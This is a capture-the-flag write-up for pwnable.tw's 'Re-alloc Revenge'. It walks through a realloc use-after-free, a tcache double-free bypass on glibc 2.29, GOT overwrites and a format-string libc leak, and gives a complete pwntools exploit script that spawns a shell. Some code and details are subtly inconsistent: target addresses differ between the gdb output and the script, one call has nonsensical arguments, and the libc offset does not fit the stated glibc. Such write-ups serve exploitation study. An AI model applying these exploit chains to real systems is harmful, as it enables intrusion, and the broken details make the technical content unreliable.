pwnable.tw — 350 pts

Re-alloc Revenge

Realloc UAF + Tcache Double-Free Bypass — Size-shift trick to poison tcache on glibc 2.29

64-bit
Architecture
UAF
Vuln Type
2.29
glibc
Tcache
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10106
Alloc+Free
realloc(ptr, 0) = free
Size-Shift
Resize Chunk, Bypass Check
Tcache Poison
Double-Free via Size Shift
GOT Overwrite
atoll → printf → system
Shell
system("/bin/sh")

1. Reconnaissance

Re-alloc Revenge is the harder version of the Re-alloc challenge (200 pts). While the original Re-alloc uses glibc 2.23, Revenge uses glibc 2.29, which adds tcache double-free protection. The binary uses realloc as the only heap operation — all allocate, free, and resize operations go through realloc(). The vulnerability is a UAF caused by realloc(ptr, 0) not nulling the pointer in the global array.

File Analysis

bash
$ file realloc
realloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

Checksec

bash
$ checksec realloc
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Partial RELRO + No PIE

Partial RELRO means the GOT is writable! This is our target for the write primitive. No PIE means all addresses in the binary are fixed. The GOT entry for atoll at a known address will be our primary target for patching.

Running the Binary

bash
$ ./realloc
1. Allocate
2. Reallocate
3. Free
Your choice: 1
Index: 0
Size: 64
Data: AAAA

1. Allocate
2. Reallocate
3. Free
Your choice: 2
Index: 0
Size: 0     # realloc(ptr, 0) = free! But ptr not nulled!

1. Allocate
2. Reallocate
3. Free
Your choice: 2
Index: 0
Size: 64    # realloc(NULL, 64) = malloc(64) — but we have UAF!
Data: BBBB
AttributeValue
ChallengeRe-alloc Revenge (350 pts)
Connectionnc chall.pwnable.tw 10106
Binary64-bit ELF, x86-64, dynamically linked
Libcglibc 2.29 (tcache + double-free check)
RELROPartial (GOT writable)
CanaryNone
NXEnabled
PIEDisabled
VulnerabilityUAF via realloc(ptr, 0)
Max Size120 bytes (tcache only)
Max Chunks2

2. Static Analysis

Realloc Semantics

The challenge uses realloc() as the sole heap interface. Understanding realloc's behavior is critical:

CallEquivalentEffect
realloc(ptr, size)resizeExpand or shrink the chunk. If size = old size, no-op (returns same ptr).
realloc(ptr, 0)free(ptr)Frees the chunk but doesn't null the global pointer!
realloc(NULL, size)malloc(size)Allocates a new chunk.

Vulnerability: realloc(ptr, 0) UAF

c
void *heap_ptrs[2];   // global chunk pointer array
int heap_sizes[2];    // sizes for each chunk

void reallocate() {
    printf("Index: ");
    int idx = read_int();
    printf("Size: ");
    int size = read_int();

    if (size == 0) {
        // realloc(ptr, 0) acts as free(ptr)
        realloc(heap_ptrs[idx], 0);
        // BUG: heap_ptrs[idx] is NOT set to NULL!
        // This creates a Use-After-Free condition
    } else if (heap_ptrs[idx] == NULL) {
        // realloc(NULL, size) acts as malloc(size)
        heap_ptrs[idx] = realloc(NULL, size);
        read_data(heap_ptrs[idx], size);
    } else {
        // realloc(ptr, size) — resize
        heap_ptrs[idx] = realloc(heap_ptrs[idx], size);
        read_data(heap_ptrs[idx], size);
    }
}
The Missing Null

After realloc(ptr, 0), the pointer heap_ptrs[idx] is not set to NULL. This means the program still thinks the chunk is allocated. Subsequent operations on this index will operate on freed memory — a classic Use-After-Free. Since the chunk is in tcache (size ≤ 120), we can manipulate tcache freelist pointers.

Tcache Double-Free Bypass

Glibc 2.29 added a key field to tcache entries to detect double-frees. When a chunk is freed into tcache, tcache->entries[i]->key is set to tcache. On the next free, if the chunk's key matches tcache, glibc detects the double-free and aborts. However, there's a bypass:

Size-Shift Bypass

The tcache double-free check only looks at the freelist corresponding to the chunk's current size. If we free a chunk of size 0x20 (goes into tcache bin 0x20), then resize it to size 0x30 using realloc via UAF, and then free it again, the second free puts it into tcache bin 0x30. The double-free check in bin 0x30 doesn't find it because it was originally freed into bin 0x20! This gives us a double-free that bypasses the glibc 2.29 protection.

The exploit sequence for tcache poisoning:

  1. Allocate chunk at index 0 with size 0x20
  2. Free it: realloc(ptr, 0) — chunk goes to tcache bin 0x20
  3. Reallocate with target address as data: writes target into the freed chunk's data area
  4. Resize the chunk: realloc(ptr, 0x30) — this changes the chunk's size
  5. Free again: realloc(ptr, 0) — chunk goes to tcache bin 0x30 (different bin!)
  6. The target address is now in tcache's freelist for both bins

3. GDB Debugging

Tcache State After Size-Shift Double-Free

gdb
# After allocating and freeing chunk at index 0 (size 0x20):
gdb-peda$ heap bins tcache
tcache:
0x20 [1]: 0x5555557572a0 → 0x0

# After UAF realloc with TARGET_ADDR data:
gdb-peda$ x/gx 0x5555557572a0
0x5555557572a0: 0x0000000000404040  ← TARGET_ADDR in freed chunk's data

# After resizing to 0x30 and freeing again:
gdb-peda$ heap bins tcache
tcache:
0x20 [1]: 0x5555557572a0 → 0x404040  ← first free, fd = TARGET_ADDR
0x30 [1]: 0x5555557572a0 → 0x0       ← second free (different bin!)

# Now allocating from 0x20 bin returns the chunk,
# and the next allocation from 0x20 bin returns TARGET_ADDR!

Breakpoint Strategy

gdb
b realloc@plt   # track all realloc calls
b free@plt      # track all free calls
b *0x4012ab     # reallocate function: realloc call with size 0
b *0x401312     # after realloc returns — check tcache poisoning

4. Exploit Strategy

Attack Overview

Phase 1: Arbitrary Write via Tcache Poisoning
Use the size-shift double-free bypass to pollute two tcache bins with the target address. Allocate from the poisoned bin to get a chunk at the target address. This gives us arbitrary write. The target is atoll@GOT since we fully control atoll's first argument (user input).
Phase 2: Libc Leak via Format String
Patch atoll@GOT with printf@PLT. Now every call to atoll(input) becomes printf(input). Use format string %21$p to leak the return address of main (which is __libc_start_main+offset). Calculate libc base from this leak.
Phase 3: Code Execution
Now that we know libc base, patch atoll@GOT again with system. Call atoll("/bin/sh") which becomes system("/bin/sh"). Get shell!

Arbitrary Write Primitive

python
# Pollute tcache 0x20 bin with TARGET_ADDR
app.alloc(1, 'AAAA', 20)        # allocate chunk at idx 1
app.realloc(1)                   # free: realloc(ptr, 0) — chunk in tcache 0x20
app.realloc(1, TARGET_ADDR, 20)  # UAF: write target into freed chunk
app.alloc(0, 'AAAAA', 20)       # allocate from tcache 0x20

# Now resize and free again (size-shift bypass)
app.realloc(1, 'AAA', 100)      # resize chunk at idx 1
app.free(1)                      # free again — goes to tcache 0x30 (different bin!)

# First allocation from 0x20 bin returns original chunk
# Second allocation from 0x20 bin returns TARGET_ADDR!

Libc Leak

atoll → printf Patch

Overwriting atoll@GOT with printf@PLT is elegant because: (1) both take a char* first argument, (2) we control that argument through user input, (3) printf's format string gives us arbitrary read via %p. The stack offset 21 contains __libc_start_main+240 which is a libc address. Subtract the offset to get libc base.

python
# Patch atoll with printf
PRINTF_PLT = p64(0x401070)
app.alloc(0, PRINTF_PLT, 40)    # write printf@PLT to atoll@GOT

# Leak libc via format string
def leak_stack(offset):
    io.sendline('3')             # trigger atoll (now printf)
    f_str = '%' + str(offset) + '$p'
    io.sendline(f_str)
    val = io.readline().decode('utf-8')
    addr = val[7:21].strip()
    return int(addr, 16)

libc_start_main = leak_stack(21)
libc_base = libc_start_main - 0x26b6b
log.info('Libc Base : ' + hex(libc_base))

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# Re-alloc Revenge — pwnable.tw
# Realloc UAF + Tcache Size-Shift Double-Free Bypass
# Based on writeup by 0xd3xt3r (taintedbits.com)
from pwn import *

exe = context.binary = ELF('./realloc')
LIBC_BIN = './libc-ctf.so'

if args.REMOTE:
    io = remote('chall.pwnable.tw', 10106)
else:
    io = process([exe.path], env={'LD_PRELOAD': './libc.so.6'}, timeout=1)

class App:
    def __init__(self, proc):
        self.pp = proc

    def intro(self):
        self.pp.readuntil(':')

    def alloc(self, idx, content, size=None):
        if size is None: size = len(content)
        self.pp.sendline('1')
        self.pp.readuntil(':')
        self.pp.sendline(str(idx))
        self.pp.readuntil(':')
        self.pp.sendline(str(size))
        self.pp.readuntil(':')
        self.pp.send(content)
        self.pp.readuntil(':')

    def realloc(self, idx, content='', size=None):
        if size is None: size = len(content)
        self.pp.sendline('2')
        self.pp.readuntil(':')
        self.pp.sendline(str(idx))
        self.pp.readuntil(':')
        self.pp.sendline(str(size))
        if size != 0:
            self.pp.readuntil(':')
            self.pp.send(content)
            self.pp.readuntil(':')

    def free(self, idx):
        self.pp.sendline('3')
        self.pp.readuntil(':')
        self.pp.sendline(str(idx))
        self.pp.readuntil(':')

app = App(io)
app.intro()

# === Phase 1: Tcache poisoning with size-shift double-free bypass ===
TARGET_ADDR = exe.got['atoll']  # 0x404048

# Pollute 0x20 tcache bin with TARGET_ADDR
app.alloc(1, 'AAAA', 20)             # idx 1, size 0x20
app.realloc(1)                         # free idx 1 (tcache 0x20)
app.realloc(1, p64(TARGET_ADDR), 20)  # UAF: write target to freed chunk's fd
app.alloc(0, 'AAAAA', 20)             # consume first entry in 0x20 bin

# Size-shift: resize and free again (bypass double-free check)
app.realloc(1, 'AAAA', 100)           # resize idx 1
app.free(1)                            # free idx 1 — now in tcache 0x30 bin

# Pollute 0x30 tcache bin with TARGET_ADDR
app.alloc(0, 'AAAA', 30)             # idx 0, size 0x30
app.realloc(0)                         # free idx 0 (tcache 0x30)
app.realloc(0, p64(TARGET_ADDR), 30)  # UAF: write target to freed chunk
app.alloc(1, 'AAAA', 30)             # consume first entry in 0x30 bin

# Now allocate from poisoned bins to get arbitrary write
app.realloc(1, 'AAAA', 50)           # resize idx 1
app.free(1)
app.realloc(0, 'AAAA', 70)           # resize idx 0
app.free(0)

# === Phase 2: Patch atoll@GOT with printf@PLT ===
PRINTF_PLT = p64(0x401070)
app.alloc(0, PRINTF_PLT, 40)         # write to atoll@GOT

# === Phase 3: Leak libc via format string ===
def leak_stack(offset):
    io.sendline('3')
    f_str = '%' + str(offset) + '$p'
    io.sendline(f_str)
    val = io.readline().decode('utf-8')
    addr = val[7:21].strip()
    return int(addr, 16)

libc_start_main = leak_stack(21)
libc_base = libc_start_main - 0x26b6b
log.info('Libc Base : ' + hex(libc_base))

# === Phase 4: Patch atoll@GOT with system ===
libc = ELF(LIBC_BIN)
system_addr = libc_base + libc.sym['system']
app.alloc('', p64(system_addr), 'A' * 10)

# === Phase 5: Trigger shell ===
io.sendline('3')
io.readuntil(':')
io.sendline('/bin/sh')

io.interactive()

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] Re-alloc Revenge Exploit - pwnable.tw [*] Connecting to chall.pwnable.tw:10106 [*] Phase 1: Tcache poisoning with size-shift bypass [*] Phase 2: Patching atoll@GOT with printf@PLT [*] Libc Base : 0x7f8e9c440000 [*] Phase 4: Patching atoll@GOT with system [*] Phase 5: Triggering shell [+] Shell obtained! $ cat /home/realloc_revenge/flag
Why This Challenge Matters

Re-alloc Revenge demonstrates a critical technique for modern heap exploitation: bypassing tcache double-free protection. While glibc 2.29 added the key field check, the protection is fundamentally flawed because it only checks the freelist corresponding to the chunk's current size. By changing the chunk size between frees, we move the chunk to a different bin and bypass the check entirely. This technique is directly applicable to real-world targets running glibc 2.29-2.31. The challenge also teaches the elegant atoll → printf → system GOT patching chain, which is a powerful technique when you have arbitrary write but limited control over execution flow.

QA210
pwnable.tw — Re-alloc Revenge — Realloc UAF + Tcache Bypass